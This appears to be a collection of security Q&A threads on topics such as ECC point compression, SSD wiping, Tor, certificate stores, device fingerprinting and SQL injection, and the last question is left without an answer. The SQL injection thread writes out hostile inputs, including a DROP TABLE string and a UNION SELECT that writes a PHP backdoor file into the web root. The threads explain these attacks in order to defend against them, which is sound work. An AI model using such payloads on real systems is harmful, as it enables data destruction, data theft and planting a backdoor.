Can any ECC field element be safely serialized as "compressed" and then restored as uncompressed? I have a library that stores all its ECC Field Elements in uncompressed form, in a bloated Base64 XML format, and storage has become a concern.  (We want to support QR code as a form factor,etc)

Rather than ask the crypto library authors to support compressed points in ECC (I don't know how difficult this would be) I think it may be possible to have a piece software proxy capture these elements inline, compress them (with a sign bit), and decompress them when deserializing

  My goal is to make the library not even know that I used compressed ECC for temporary, in-transit storage.

Is this a viable approach?  What other things should I consider prior to doing this?

For reference I plan on using this code in Bouncy Castle

    public override byte[] GetEncoded(bool compressed)
    {
        if (this.IsInfinity)
        {
            return new byte[1];
        }

        ECPoint normed = Normalize();

        byte[] X = normed.XCoord.GetEncoded();

        if (compressed)
        {
            byte[] PO = new byte[X.Length + 1];
            PO[0] = (byte)(normed.CompressionYTilde ? 0x03 : 0x02);
            Array.Copy(X, 0, PO, 1, X.Length);
            return PO;
        }

        byte[] Y = normed.YCoord.GetEncoded();

        {
            byte[] PO = new byte[X.Length + Y.Length + 1];
            PO[0] = 0x04;
            Array.Copy(X, 0, PO, 1, X.Length);
            Array.Copy(Y, 0, PO, X.Length + 1, Y.Length);
            return PO;
        }
    }

Point compression does not lose information; that's the point.

Technical details: suppose we are working in field Zp for a big prime p. The curve equation is:

Y2 = X3 + aX + b

for two constants a and b which define the curve. For a point (X,Y) on the curve, you can use the equation to recover Y2 from X alone. Since we are working in a field, Y2 can have at most two square roots, and they are opposite to each other (that's Y and -Y). Since p is a big prime, it is odd, so Y and -Y always differ in their least significant bit, except if Y = 0, in which case -Y = 0 too. Therefore, knowledge of X and the least significant bit of Y is always sufficient to unambiguously recover Y, at which point you have the full point.

(Moreover, you normally choose your curve so that it has a prime order, which indirectly implies that there can be no point on the curve such that Y = 0. But even if there is such a point, then compression still works.)

A similar mechanism works for binary curves (when the field is GF(2m) for some integer m) but it is slightly more complex to explain (it involves computing half-traces).

Be wary, when uncompressing, to make sure that you get a valid point. If the computation yields a value "Y2" which is not actually a square in Zp, then decompression will fail, but some square root functions won't notice it. Unwanted behaviour on abnormal data is a classic source of security weaknesses; such is the subtlety of practical crypto.

There are some rumours that point compression would still be covered by some patents, which explains why opensource library developers don't rush to implement it. Whether the rumour is true, though, is another story. This Wikipedia page lists two patents, one from Certicom (but it is about binary curves in GF(2m) only, and it is due to expire on July 29th, just five days from now), and another from HP (that one purports to cover point compression in general, but half of it concentrates on binary curves).

I think the HP patent would not go far in court, in particular since it was filed in 1998, at which time the concept of point compression had already been published far and wide. I am not a patent lawyer, though (I am a bear with a fake name).


Deleted files still detectable with Wondershare RecoverIt Basically I have a few files / folders that I want permanently deleted. I deleted them securely with hardwipe, but when I try to search into the folder where they were located with Wondershare Recoverit, the foldernames, filenames, even some parts the docs/txt's/images are still visible even partly recoverable.
I've tried several solutions, cleaning USN/MFT with programs like Recuvera/Privazer/CCleaner/Revo Uninstaller. I also tried filling up my entire SSD with data, only 100MB of free space left.
Does anyone have any additional programs or an idea how I can prevent specialized programs from finding these folders/files?

If you need the files deleted with any degree of confidence, while still being constrained to continue using the drive, you will have to abandon the possibility of preserving the OS installation that's on the drive now.
From there, you can simply use any disk-wiping tool (for an SSD, even a single pass of Random data in something like DBAN would be sufficient), as long as you do write something (other than zeroes) to every sector of the drive without deleting anything at all between writing the first and last sectors.
You may or may not be interested in trying the drive's native Secure Erase capability; if supported, it will provide drastically reduced risk of an attacker recovering the data, as well as causing drastically less wear on the drive (a big plus if you can't just destroy it because you intend to continue using it).

In the future, you should encrypt data at rest that you're likely to need securely deleted. It's much easier to simply dispose of a few encryption keys (especially when stored in an HSM, such as a smartcard or tpm, both of which generally support reliable deletion of the keys as a routine operation) than to do all the song and dance required to sanitize a drive, especially an SSD.


Using Tor if you're being watched I'm not as paranoid as it sounds - just a curious idea.

If you're being watched by a specific organisation, national security or foreign power etc, my assumption would be that they would watch your router traffic / IP traffic after identifying you and your used networks in some clandestine fashion.

At this point, how would using things like Tor (and VPNs/other methods of "hiding") help? Because all your packets are being re-assembled at your end of things, would it not be obvious what they were, irrespective of the intriguing route they took around the world to reach you? Also, wouldn't your ISP have all this info too?

Not planning any illegal activities, just getting into networking and reading about TCP/IP and having thoughts that Tor only helps you remain undetected, not un-observable.

First, read about how Tor works. This will help you avoid a lot of misconceptions about it, and committing mistakes that would ruin your privacy.

If some organization is targeting you as a person (not your email, or your IRC handle), they will probably know where you live, and what computer you have. Probably they will implant something on it, and Tor will not save you.

The packets from/to internet will not take a intriguing route, that's not the way Tor works. They will leave your computer and go to the first Tor node, as if you accessed some random website somewhere. The first node will create an independent connection to the second node, encrypt your data, and send it along. This will work until the last node, that will send your request to the open internet. The destination site will only know some packet left a Tor exit node and reached them.

Your ISP will not know better: they will know a encrypted packet left your computer and reached a Tor node. Nothing else.


is it possible to track a ddos attacker if he's using a paid website service? After some days of thinking that my internet was just much slower than usual, I started considering the possibility of someone ddos'ing me since my internet only goes down on special occasions such as maintenance or stuff related. My friend warned me that it was only possible to find the attacker if he was launching the attack directly from him, and that it is impossible to track an attacker who is using a paid website service.

Is it true?
Any tips about it?

This is more of a networking question. If the attacker launches the attack from his home without any protections, then the IP will point to his home. If he pays a service to do it, or uses a cloud server, then the IP will point to the service and not his home.

But the service will have records of who paid them, so it is possible for investigators to trace the attack that way.


Experiencing injection / brute force attacks I'm handling a hosting services for website via WHM. Few months ago, I've been experiencing some automated attacks on the websites that I'm handling. See screenshots below:

Are there any remedy for issue, for them to stop? This is the first time that I'm experiencing this, I now have [2801] permanent IP ban address in just a few days. I even edited my csf configuration, being insane that I permanently blocked IP address if they have wronged 1-2 times (from 10 as default). When I did that, I'm surprised that It's even more alot of IP blocks.

Any help would be appreciated.

Edit csf.deny, the IP address deny file (Currently: 2801 permanent IP bans)

Considering you are already running modsecurity you can consider integrating it with a HIDS like OSSEC. It will automatically ban IP addresses that are detected as attempting injection attacks.


What is the purpose of Intermediate Certification Authorities store in Windows? Suppose I have CA1 root certificate and two intermediate CA2 and CA3 certificates issued by CA1. Would it pose any security issue if all of the intermediate certificates were installed in the root store? I'd like to know what's the purpose of this intermediate certificate store and when should I use it. I understand that it is created to store intermediate certificate authorities, but is there a reason why it was created specifically and why I can't keep all my certs in the root store?

There is a similar question about the windows store for intermediate certificates, but it does not answer my question completely. Instead, it focuses on why it is necessary to store the intermediate certs in general, and is there a case when it is really needed. In my case I understand that storing intermediate certificates is necessary, but I'm asking why there is a need to create a separate "folder" for storing intermediate certs in windows, while it is possible to just bundle them together with root CA certs.

Would it pose any security issue if all of the intermediate certificates were installed in the root store?

Yes. Root-CAs are a pain to revoke. That's why the intermediate-CA idea became popular some years ago. Intermediate CAs are much easier to revoke.

  I'd like to know what's the purpose of this intermediate certificate store...

Speed. It's a cache that Windows uses.

  ...and when should I use it.

You don't. It's automatic.


What problems if any are caused by opening a port in the firewall that no program listens on? I have a port forwarded and open in the firewall that I sometimes use to play games with friends over the internet. The game server doesn't run 24/7, only when I'm actually playing is something actually listening on this port. Are there issues with having this port open while nothing is listening?

I know I can tell the firewall to allow the application through so the port is closed when the game isn't running, but this is more of a "what if" question.

It is likely that the port you have open will always show as being in a different state from other ports if someone does a scan of your IP address, so it would make sense to ensure that there definitely isn't anything listening when the game server is shutdown (although if the game has vulnerabilities it probably does not matter if it is listening all the time or only when you are playing with friends).

You can check that there is nothing listening on the Factorio default port when the game is shutdown by using netstat see here https://stackoverflow.com/questions/48198/how-can-you-find-out-which-process-is-listening-on-a-port-on-windows. If nothing is listening any inbound packets will be either quietly dropped or possibly result in an Ack Reset (depending whether it is UDP or TCP based traffic). In theory leaving the port open in the firewall should not be a problem, but I would err on the side of caution and disable the rule that allows the traffic when it is not required.

You might also want to look at your router and see whether you can limit the inbound connections to the IP addresses of your friends, this would help to reduce your exposure to attackers (this is a game which is in development and could well have exploitable vulnerabilities), but if they are on dynamic IPs this could be a bit of a pain to maintain depending how often you play.


Do browsers XSS filters protect against DOM based XSS? Many (but not all) browsers come with built in XSS protection that can be activated with a HTTP header:

X-XSS-Protection: 1; mode=block

As I understand it, it prevents reflected XSS attacks by checking that the document does not contain any fishy looking parts of the query string as it loades. For a modern SPA this is not very useful. The HTML loaded directly from the server is often just static, and all the interesting stuff happends after the page has loaded.

Are there any browsers that have XSS filters that also prevents DOM based XSS? A filter like that would for instance check that something passed to .innerHTML is not a malicious reflection from the query string or any other user input, like a textbox.

Is this a thing? Do I have anything to gain from enabling the XSS filter on a SPA?

I do not believe there is anything in any browser exactly like what you are describing. However a Content Security Policy could accomplish what you are looking for, in a more-robust way.

For example, if your CSP prevents inline scripting you could effectively prevent any JavaScript passed to innerHTML from executing. Note that script tags are normally stripped from innerHTML, but the CSP would also prevent any inline on* attributes from executing. This does of-course mean you won't be able to use inline scripting yourself (at-least without explicitly allowing specific script content), but that's generally considered good practice anyhow.


Anti-bot JavaScript library identification I'm doing a research on anti-bot measures that websites can use to prevent automation. I came across a JavaScript library and I'm trying to identify its origin. At first I thought it's a site specific library but after further research I found that many e-commerce websites use the exact library, but still I couldn't find this library's origin company (author).
Here's what I know that can help identify it:

The library is usually stored as follows:

http://www.example.com/_bm/async.js

Once it's required, the library sends a post request to

http://www.example.com/_bm/_data

which sets a cookie named _abck.

So basically this library determines if the user is an automation bot or a real human.

Which company owns this library (website if possible) and how can I reach them to implement it on my own websites?

Edit for more clarification:

Some examples include but not limited to:

Marriott
Adidas
Fidelity
IHG

This anti-bot library belongs to Akamai.
Clients execute the javascript and post to /_bm/data on a site behind the Akamai CDN. The CDN's bot manager (bm) then makes decisions based on the submitted data such as slowing down responses to suspected bot clients, or downright returning 403s.
The abck cookie is returned upon submission to the /_bm/data endpoint.
You can read more about it here <=
edit: this anti-bot library was written by Cyberfend which was purchased by Akamai in 2016


Verify that a second TLS connection comes from the same client I would like to implement kind of a trust-on-first-use (TOFU) scheme with TLS:

A client creates a key and a self-signed certificate.
The client connects to the server with this certificate.
The server accepts the connection and stores something about the client
Assuming that this first connection was not MITM'd, I want to be able to verify that the next connection comes from the same client.

Is this possible? And if yes, what is that something I have to store from the first connection to be able to verify the second connection?

In practice I am using the Golang TLS library so I think this is the information I have about the connecting certificate.

Rather than design your own scheme for this, you could look into JWT using x509: https://jwt.io/introduction/.

Oauth also has this kind of option (I think), but I can't find decent documentation.

I think there are some aspects of your solution that seem problematic currently - notably, rather than storing something on the server per client, using x509 means you only need to validate the client-presented cert is correctly issued, rather than needing to do more complex checks.

There is no need (AFAIK) for the certs you issue to your clients to be valid outside of your own environment (i.e. you can use your own CA for this), so that you could have your flow as:

client requests a cert based on a CSR it generates (similar to Oauth)
if the client request is properly authenticated, the CSR is processed into a valid cert for your needs
the client then stores this cert, and presents it when needed
the server validates that cert is valid, and extracts its public key for its own needs (if any).

So, yes, what you propose may be possible, but there seem to be some established schemes that provide a similar approach already, and which might be worthwhile looking into.


Why is my Mac trying to connect to an http://akamai.com server I am running a properly configured pf_config ( at least, sort of properly configured ) and have wiped my hard drive clean 3 times with a fresh install of OSX Maverick.

I find it odd that my laptop is attempting to connect to any outside without me doing anything.

This scenario brings me to the root of my question. How can I associate these outside access attempts with the PID of the offending application?

If you are looking to find out the current TCP connections and their programs/PIDs, you can start by running netstat -antp, where the -p option shows the PID for each connection. If you have a very busy box, with lots of connection, pipe the output to a more command, like this: netstat -antp | more.

For completeness' sake, correlate the information with either the top command or ps aux.

I am not 100% sure on Macs, though; sorry. Feel free to play about with the netstat on Mac OS. Also, you can refer to their online man page here.

If you feel the need to do a deeper inspection, once you have performed the aforementioned steps, try a packet sniffer, such as Wireshark.

Even if you do not manage to find out what it is - you should be able, but assuming you couldn't, you could still block the outgoing connection at the local machine, and/or blocking the IP from entering your network at the perimeter level by blocking incoming connections on your router.

Update

For Macs you might try lsof -i 4tcp, which would give you the output in the following order:

  COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME


What is "NAND mirroring", the alleged technique that the FBI will use to crack the San Bernardino shooter's iPhone? According to Ars Technica,

  Jonathan Zdziarski, a leading independent Apple iOS security researcher and forensics expert, has a theory about the FBI's newly discovered potential route into the iPhone 5C used by San Bernardino shooter Syed Farook. In a blog post, Zdziarski wrote that the technique the FBI is planning to use to get around having to compel Apple to help bypass the phone's security is likely a method called NAND mirroring—a hardware-based approach that, while effective, is far from the "golden key" software the FBI had sought.

This has been repeated in a number of other news outlets.

From what it sounds like, it won't be unlike what @user9806 posited a month ago.

However, as @Xander notes:

  Yes, it is possible. However, that runs the risk of destroying the device without getting the data off first, which is undesirable.

Which leads me to wonder, what processes are involved in this technique? What exactly does "NAND mirroring" involve that prevents the chip from being destroyed?

Basically NAND mirroring means that they're opening the phone up, de-soldering the memory chip, copying it off (the "mirroring" bit) and then they either solder it back into the phone, or more likely into a socket in phone that's been deconstructed into a test harness.   This way they can try to brute force the PIN to their hearts delight, and if they run into any difficulties (too many invalid tries wipe the memory, or cause unreasonably long delays before allowing additional tries) and they just re-flash the chip with the original copy of the data that doesn't know any of this has happened, and try again.  Rinse and repeat until the correct PIN is found, and the phone unlocks.

As to not destroying the phone, it's safe to presume that they've bought a batch of test phones, and practiced the technique to the point where they're fully confident there are no gotchas, and it will safely succeed.


Main requirements to secure my Application in any database related features I have an application which is hosted on a windows server on which an SQL DB exists. This server communicates with the clients and agents installed on host PCs through TCP/IP and SSL connections. I'm currently focusing on any security features related to the Database. What are the main requirements needed to be able to achieve a secured environment on the database level.
The top factors i could think of are the following :

Account used by the application to access the database (least privileged user account).
Encrypted database.
Control the access rights on the database.
Data in the database should be hashed.
Control the access rights on the server.

In addition to what you have already listed, you should validate all the data passed to the database. Unvalidated input can lead to persistent cross-site scripting or SQL injection.

How to validate input passed to database:

Identify application inputs
Identify database entry points
Create and use validators
Use Type-Safe parameters in SQL statements (Stored procedures and Parameterized queries)

Logging and monitoring is another improvement. You can take action in case of any abnormal behaviour. For instance you can apply a set of rules to respond when your application makes a suspicious behaviour.There are tools/products which montiros database activity and protects them with a set of preconfigured defenses, and helps you build a custom security policy for your environment. You can search the web if you don't want to build yourself.

Additionally, you can use a host-based intrusion detection system such as OSSEC for log analysis, file integrity checking, policy monitoring, real-time alerting and active response.


How to Verify Qualys QID 42366 - SSLv3.0/TLSv1.0 Protocol Weak CBC Mode Server Side Vulnerability (BEAST) My company uses Qualys to scan for vulnerabilities in our apps. I received a report with four vulnerabilities (related to SSLv3 and ciphers), and I could google each one and land on page from Qualys that specifies a manual command I could run to verify if I passed it or not, after making changes to my configuration.

For example, to verify the passing of QID 38143 - SSL Server Allows Cleartext Communication Vulnerability:

openssl s_client -connect TARGET_IP:443 -cipher eNULL

However, I could find no such page for QID 42366 -  SSLv3.0/TLSv1.0 Protocol Weak CBC Mode Server Side Vulnerability (BEAST).

How can I verify if I pass this Qualys QID?

BEAST is caused by a flaw in the protocol, not by a bug in the implementation.

Every server that supports TLS 1.0 with a CBC cipher suite is vulnerable to BEAST. Because the only other way to use TLS 1.0 is with RC4, this means that if BEAST is a concern, you can't allow TLS 1.0.

Most browsers mitigate BEAST using the 1/(n-1) split, so people keep supporting TLS 1.0.

A way to check whether your server is vulnerable:

openssl s_client -connect qualys.jive-mobile.com:443 -tls1 -cipher 'AES:CAMELLIA:SEED:3DES:DES'

Wikipedia

Qualys


Practice question for Security+ that I think is wrong. Integrity vs availability There is the following question on a practice test:

  Which service are you addressing by installing a RAID array and load
  balancer?

  A. Confidentiality

  B. Availability

  C. Accountability

  D. Integrity

The correct answer according to practice test is "Integrity".

Can someone explain this and why it would not be "Availability"? I'm not understanding how availability wouldn't be the correct choice.

By combining RAID with a load balancer, the question is asking about "Availability".

This appears to be a mistake in the answer. I doubt very much that CompTIA expects that "Integrity" is the intended answer.

I have taken over a couple of dozen certification exams and thousands of practice questions. It is very, very common for there to be mistakes. Your best response is to do what you've done: understand why the answer is the answer and not just memorise the answers.


Random password vs null password? We are migrating some users to a new database from a legacy app's database and have written a script to pull the users and all their data from an existing database.

As the user's passwords are hashed we cannot pull these, which is fine, however before we get them to perform a reset I was just wondering what the safest way to do this would be:

Make the password field NULL and populate the field on reset
Generate a random password for the user, leave the password field as NOT NULL and populate on reset

Generating a random password seems like extra, unnecessary work however I'm thinking having a NULL password might be a security hole as under normal circumstances all users would have a password, so this would never be NULL.

Can anyone offer some guidance?

Import the existing password hashes along with the rest of the data, add a 'dirty bit' flag to the new database and set it to true for these imported users.

When the user goes to login have it validate using the hash mechanism that was used in the legacy app/code, then force the user to update their password using whatever the current method is, store the new hash, and turn off the flag.

Bit more work on the back-end but if you take the time to set it up right it makes any future switches easier and makes it much smoother for the end user to transition.

Edit: Plus, you avoid the potential (read as surefire) mess that is setting a user's password to NULL or blank. How is anyone supposed to verify that the end user is the 'actual' user?


Are my letsencrypt ssl ciphers strong enough? I have these settings for my certbot certificate on my nginx virtual host.
Is this complete or secure/valid? someone mentioned something about unsecure ciphers v1.2 or something

    ## SSL
    ssl_session_cache shared:SSL:20m;
    ssl_session_timeout 10m;

    ssl_prefer_server_ciphers On;
    ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
    ssl_ciphers ECDH+AESGCM:DH+AESGCM:ECDH+AES256:DH+AES256:ECDH+AES128:DH+AES:ECDH+3DES:DH+3DES:RSA+AESGCM:RSA+AES:RSA+3DES:!aNULL:!MD5:!DSS;

    ssl_stapling on;
    ssl_stapling_verify on;
    resolver 8.8.8.8 8.8.4.4 valid=300s;
    resolver_timeout 10s;

Please don't make up your own configuration and ask if it is secure for some unknown purpose and unknown security requirements but instead follow established recommendations.

If you feel that it is better to create your own config please don't just dump the config. Instead explain why do you think the specific configuration options make sense in your (unknown) use case.

But in short:

3DES should not be longer used unless you have clients which still require it.
If possible (depending on clients) disable all protocols except TLS 1.2 or better.
DHE/ECDHE should be preferred since it provides forward security but you still allow RSA key exchange.
Even if DH(E) provides forward security it should not be used for performance reasons unless you have clients which still don't support ECDHE.

Apart from that: it does not matter for the configuration you've shown if you use a certificate from LetsEncrypt or some other CA.


Why do multiple IP Addresses in my local network point to the same computer? I'm new to linux and nmap, and I am attempting to do a scan of my local network. Using nmap I find that there are 4 hosts on my network (10.0.2.2, 10.0.2.3, 10.0.2.4, 10.0.2.15). I am using VirtualBox and running a Kali Linux VM with a native Windows 7 computer. The network options in the Kali Linux VM are set as NAT by default. Using ifconfig, I found that my Kali Linux VM is 10.0.2.15. I tried using

nmap -A -F [IP ADDRESS]

where "IP ADDRESS" includes the 3 other ip's above. However, they all reference to the same computer, which is my native Windows 7 computer which I am running VirtualBox on. Any ideas on why 3 IP's are associated with one device? Thank you for your help.

EDIT: Yet when I run the command:

xprobe2 [IP ADDRESS]

in kali linux, it says that all of the hosts are most likely linux....

This is explained in the Virtualbox manual. Since your VM is a Virtual Machine, it runs on hardware that does not actually exist, and sees a network containing equally virtual other nodes. The manual above contains the following:

  In NAT mode, the guest network interface is assigned to the IPv4 range 10.0.x.0/24 by default where x corresponds to the instance of the NAT interface +2. So x is 2 when there is only one NAT instance active. In that case the guest is assigned to the address 10.0.2.15, the gateway is set to 10.0.2.2 and the name server can be found at 10.0.2.3.

And a few lines later:

  For network booting in NAT mode, by default VirtualBox uses a built-in TFTP server at the IP address 10.0.2.4.

So the IP addresses that the guest VM sees as 10.0.2.2, 10.0.2.3 and 10.0.2.4 are addresses for virtual nodes that Virtualbox maintains on the virtual network to which the guest VM believe that it is connected; the guest VM itself is awarded IP address 10.0.2.15 on that network.

All of this happens within the entrails of Virtualbox; the host operating system (Windows 7) is completely unaware of it. When the guest VM sends an IP packet with target address (for instance) 10.0.2.3, the packet is sent on the virtual network interface: the guest VM sends an I/O request on that "hardware" (with an out opcode); the opcode triggers a CPU exception trapped with Virtualbox, which then sees the packet contents (they are in RAM) and acts as if a network interface really existed. From the packet contents, Virtualbox notices that it is meant for one of its virtual nodes, and computes a response packet, puts it in the RAM buffer that corresponds to the buffer for the virtual network interface of the guest, and triggers an interrupt request for the guest, there again as if there really was a network card able to warn the guest CPU about incoming data. Everything about virtual machines and emulation is smoke and mirrors, and this includes the whole virtual network that the guest VM is part of.

From the point of view of that Windows, there is only a process (Virtualbox) which possibly issues network-related system calls; the 10.0.2.x addresses are invisible to it.


Examples of Federated Identity Management, Third Party Identity Services and Single Sign-On I am studying the domain of Identity and Access Management in CISSP, and I come across the three terms Federated Identity Management (FIM), Third Party Identity Services (3PIS) and Single Sign-On (SSO). After some readings, including What is the difference between Federated Login and Single Sign On?, I believe I know the difference among the three things:

(1) SSO is an example of 3PIS
(2) But not all SSO are 3PIS, when the authentication mechanism is devised by the provider of the resource
(3) An advantage of FIM is that it can provide SSO
(4) FIM does not always provide SSO
(5) FIM may use 3PIS mechanism, if the mechanism is devised by an organization not related to any of the providers of the resource
(6) FIM may not use 3PIS mechanism, if the mechanism is devised by one of the providers of the resource

Assume the above are all true, SSO, 3PIS and FIM can all exist in the same system, but they can also be independent. So I am now looking for real-life examples for all the 7 combinations below:

(a) SSO + 3PIS + FIM --> ??
(b) SSO + 3PIS, not FIM --> Kerberos for authenticating a MS Windows domain.
(c) SSO + FIM, but not 3PIS --> Azure Active Directory for accessing Office365  and SalesForce, since Office365 and Azure are both developed by MS.
(d) SSO, but not 3PIS, not FIM --> Microsoft Active Directory for accessing MS resources.
(e) 3PIS + FIM, but not SSO --> ??
(f) 3PIS, but not SSO, not FIM --> ??
(g) FIM, but not 3PIS, not SSO --> ??

Am I right in the above 3 examples (b), (c), (d), and are there any real-life examples for the other 4 cases? Any suggestion or comment is welcome.

TL;DR:

FIM (or FidM) refers to an abstract concept of identity management. Organizations that have implmented a FIM system, use it to manage identities and trust of their users in order to simplify access to resources.

3PIS is a product you acquire from a vendor. It supports setting up or installing a FIM and may or may not provide a SSO functionality for users.

SSO is a mechanism put into a bit of software that allows users to access multiple services or systems with either only one login or the same login credentials.

  (1) SSO is an example of 3PIS

Not exactly. A 3PIS may include a mechanism for SSO, but doesn't necessarily have to. (Although - I think - most current ones do.) You wouldn't say: "Our  SSO is a 3PIS." but rather "Our 3PIS uses SSO."

  (2) But not all SSO are 3PIS, when the authentication mechanism is devised by the provider of the resource

Well, yeah, kinda. You do need an FIM to use SSO, you can use a 3PIS to set up your FIM. But not all systems/services support SSO.

  (3) An advantage of FIM is that it can provide SSO

Yes.

  (4) FIM does not always provide SSO

I don't know any, but that doesn't mean anything.

  (5) FIM may use 3PIS mechanism, if the mechanism is devised by an organization not related to any of the providers of the resource

3PIS is not a mechanism itself. Identity providers use e.g. certificate-based identification mechanisms to establish trust between users, the service provider and the organization that utilises a 3PIS.

  (6) FIM may not use 3PIS mechanism, if the mechanism is devised by one of the providers of the resource

See above.

As you are still studying, maybe you want to try to answer the rest of your question for yourself. If things are still not clear, I will try to provide some more context.

Disclosure: I am neither certified with CISSP nor have I ever studied for their certificate.


Does Windows protect MBR from being overwritten? I have read article about TDL/Alureon Rootkit:

  According to research published on Monday by GFI Software, the latest TDL4 installation penetrates 64-bit versions of Windows by bypassing the OS’s kernel mode code signing policy, which is designed to allow drivers to be installed only when they have been digitally signed by a trusted source. The rootkit achieves this feat by attaching itself to the master boot record in a hard drive’s bowels and changing the machine’s boot options.

Does this mean that Windows doesn't protect MBR from being overwritten? Can then any program, including malware/rootkit, running with administrator privileges just overwrite MBR and simply bypass driver signing enforcement?

Thanks for any explanation.

An administrative/SYSTEM user has complete access to the system, and can make changes to disk partitions, etc. Also, tools exist for Windows which can modify the MBR to point to a different bootloader. So I'd say, no, there is nothing protecting it.

The question makes it sound like a big deal that "any program" running with administrator privileges can overwrite the MBR. A process with SYSTEM privileges can do whatever it wants. However, that is the standard threat model; if someone else runs code on your computer, it's not your computer anymore.


How to identify a users device I want to implement something similar to gmail where signing in from a new device will make the user confirm that it is them through some form of MFA. However, I am unsure what to use to determine that a new device has been used across different systems and devices (ie. desktops, tablets, etc.)

My first thought was to use the public IP address, but this can change very frequently so it isn't very useful.

My second thought is to use the private IP. Is storing users private IPs a bad idea?

Is there a better third option?

Edit: To clarify, I want to know what data to use to determine whether or not a new device is being used (not how to authenticate the user once I determine that a new device is being used).

This can be implemented in a bunch of ways, but all the ones you've listed are terrible on their own.

Private IPs are never going to be useful. Multiple users in different networks can have the same private IP. Public IPs on their own are also just as bad - they can be spoofed, or in several cases, are used my multiple people at once (large organizations frequently use single static public IPs for many users).

What you should be looking at is a combination of the following:

Public IP (store them so you know which is the user's most common login area)
Hostname
Screen resolution
Platform (mobile vs desktop)
OS versions (does the user generally use OSX but suddenly seems to have transitioned to windows?)

In fact, there's a lot of information that you can use. This site does a good job showing you what you can use.

Just remember - use a combination of the data that you recover. Don't just use IPs or OSes as the only way that you deny access.


Can Geolocation of an IP be guessed based on some pattern matching? I was wondering about how some websites know the location of IP addresses we query them to resolve for it's location.

Then I remembered the IANA assigns IP addresses to different Regional Internet Registrars (RIR) like AFRINIC, APNIC, ARIN, LACNIC, RIPE NCC (as mentioned here https://www.iana.org/numbers) which are further subdivided to different National Internet Registries (NIR) like CNNIC, APJII, JPNIC, KRNIC, etc. for every region under RIR

I looked up to understand which IP ranges are provided to which RIR and further down the tree but didn't quite understand what they've written here in this link originated from the same page mentioned above.

Maybe I'm wrong but I think there is a hierarchy of IP range allocation with regards to their location otherwise how'd these online services know the location of that IP address. (Also not to forget, collaboration of multiple databases helps obviously)

I want to basically guess the location of an IP address based on some pattern associated with the way the IANA has done IP allocation to different RIR.

Can I guess the Geolocation of an IP simply based on it's pattern for both IPv4 and IPv6?

Please correct me if I am missing anything or am wrong in any concept.

EDIT: The answer posted by Steffen Ullrich does not touch on the concept of links between IP range allocation with regards to their location as is asked in this question but the link provided is also helpful to understand other things

No, there is not. Blocks are moved, sold and sometimes mobile. Most base data comes from WHOIS databases and RIR databases, which are public. Refined data based on user data is added by some parties to make it more accurate, for example, gps, cell and wifi networks often are fixed locations and are sometimes submitted to profiling and advertising services when you use apps on mobile devices or shop online. This is also why the data can sometimes be very inaccurate; a fixed internet connection might have an IP from a block that is listed with the address of a regional ISP office instead of the service area where that block is used. This data usually gets updated when an ISP sells or moves or devides a block and updates the WHOIS data.


Scan detection Tool better than Snort Portscan Preprocessor I am working on detection of Scanning activities of Bots/Worms.
I have found that Snort Portscan Preprocessor detects Scan activities.
I have tweaked Snort Portscan Preprocessor to detect different types of Scanning activities.

However, I was curious to know whether a better independent scan detection tool (not an IDS like Suricata or Bro) exists and if it exists, what are the reasons is it better than Snort Portscan Preprocessor or vice-versa?

Try looking into Scanlogd
http://www.openwall.com/scanlogd/

Also look into psad (Port Scan Attack detector)
http://cipherdyne.org/psad/

I havent tried using either of them. Though I am not sure how much better than Snort these will be, I am sure these allow for much higher degree of customization, which may help.


Is removing semi-colons an effective defense against SQL injection? So obviously there is a security error if I have some code like this

execute("Select * where {} = {}".format(input1, input2))

As someone can simply, for input1, send in 1=1; DROP Table Users-- and kill my data. I'm unable to send the inputs as parameters, so I will instead be sanitizing them.

My question is, if I remove semicolons from any input string, can any SQL injection occur, and what would this look like?

The obvious risk is information disclosure e.g.
where 0=1 UNION ALL select secret_data from somewhere_else or a myriad of other ways.

Depending on server configuration, the same select may allow to (for example) access the filesystem e.g.  union select "someinterestingcode" into outfile '/var/www/backdoor.php' or something like that.

Sanitizing arbitrary data by filtering "everything" is very hard to do properly. It's prudent to find a way to do proper parametrized queries, even if that's not easy.


What organisation(s) is able to recommend a baseline technology set for safe, secure, web browsing? This is a high level question regarding some recent posts about enhancing web browser security from an end-user perspective.

What business/organisation(s) would have:

Sufficient technical skill to evaluate technologies needed for safe, secure web browsing
The capacity to publicly recommend a set of technologies to achieve the same
Does not have conflicting goals of Certificate Authorities nor other goals of other businesses/governments
Would be likely to revise those recommendations as new information regarding risk and in-the-wild threats were made available

My idea is to have a "Connection Security Index" that is associated with the HTTPS lock Icon.... it's somewhat analogous to the rating approach of the Windows user experience:

I intend work with those companies, and do what is needed to make what I believe is a small yet effective improvement to the user experience regarding HTTPS.  (see this link for the change I'm looking to make)

In terms of your question, I don't think there is any one organisation. OWASP gives good detail on the ten obvious things you should get right, but that should be a bare minimum - because there are so many aspects of security, and different browsers, OS'es, plugins, ways to access the Internet etc I'd be surprised if any single organisation could do it.

I think that while this is a very interesting area in user interface design the end user won't care, so I don't think it will help security. If you give a red-bad, green-good to a typical, non-technical user, they will not think any further. If you provide a different green-good the majority are still going to see it as good, not as a different kind of good.


Demystifying Web Authentication (Stateless Session Cookies) I'm currently researching user authentication protocols for a website I'm developing.  I would like to create an authentication cookie so users can stay logged in between pages.

Here is my first bash:

cookie = user_id|expiry_date|HMAC(user_id|expiry_date, k)

Where k is HMAC(user_id|expiry_date, sk) and sk is a 256 bit key only known to the server.  HMAC is a SHA-256 hash.  Note that '|' is a separator, not just concatenation.

This looks like this in PHP (Note, this question is language-agnostic, PHP is just an example):

$key = hash_hmac('sha256', $user_id . '|' . $expiry_time, SECRET_KEY);
$digest = hash_hmac('sha256', $user_id . '|' . $expiry_time, $key);
$cookie = $user_id . '|' . $expiry_time . '|' . $digest;

I can see that it's vulnerable to Replay Attacks as stated in A Secure Cookie Protocol, but should be resistant to Volume Attacks, and Cryptographic Splicing.

THE QUESTION:  Am I on the right lines here, or is there a massive vulnerability that I've missed?  Is there a way to defend against Replay Attacks that works with dynamically assigned IP addresses and doesn't use sessions?  I don't want to be storing anything on the server-side to have this work.

Also, I'm not planning or rolling my own.  I'm asking this to better judge what solution I should choose.  So no "Just use X solution" answers without some sort of explanation.

NOTES

The most recent material I have read:
Dos and Don'ts of Client Authentication on the Web
aka Fu et al.
(https://pdos.csail.mit.edu/papers/webauth:sec10.pdf)

A Secure Cookie Protocol
aka Liu et al.
(http://www.cse.msu.edu/~alexliu/publications/Cookie/cookie.pdf)
which expands on the previous method

Hardened Stateless Session Cookies
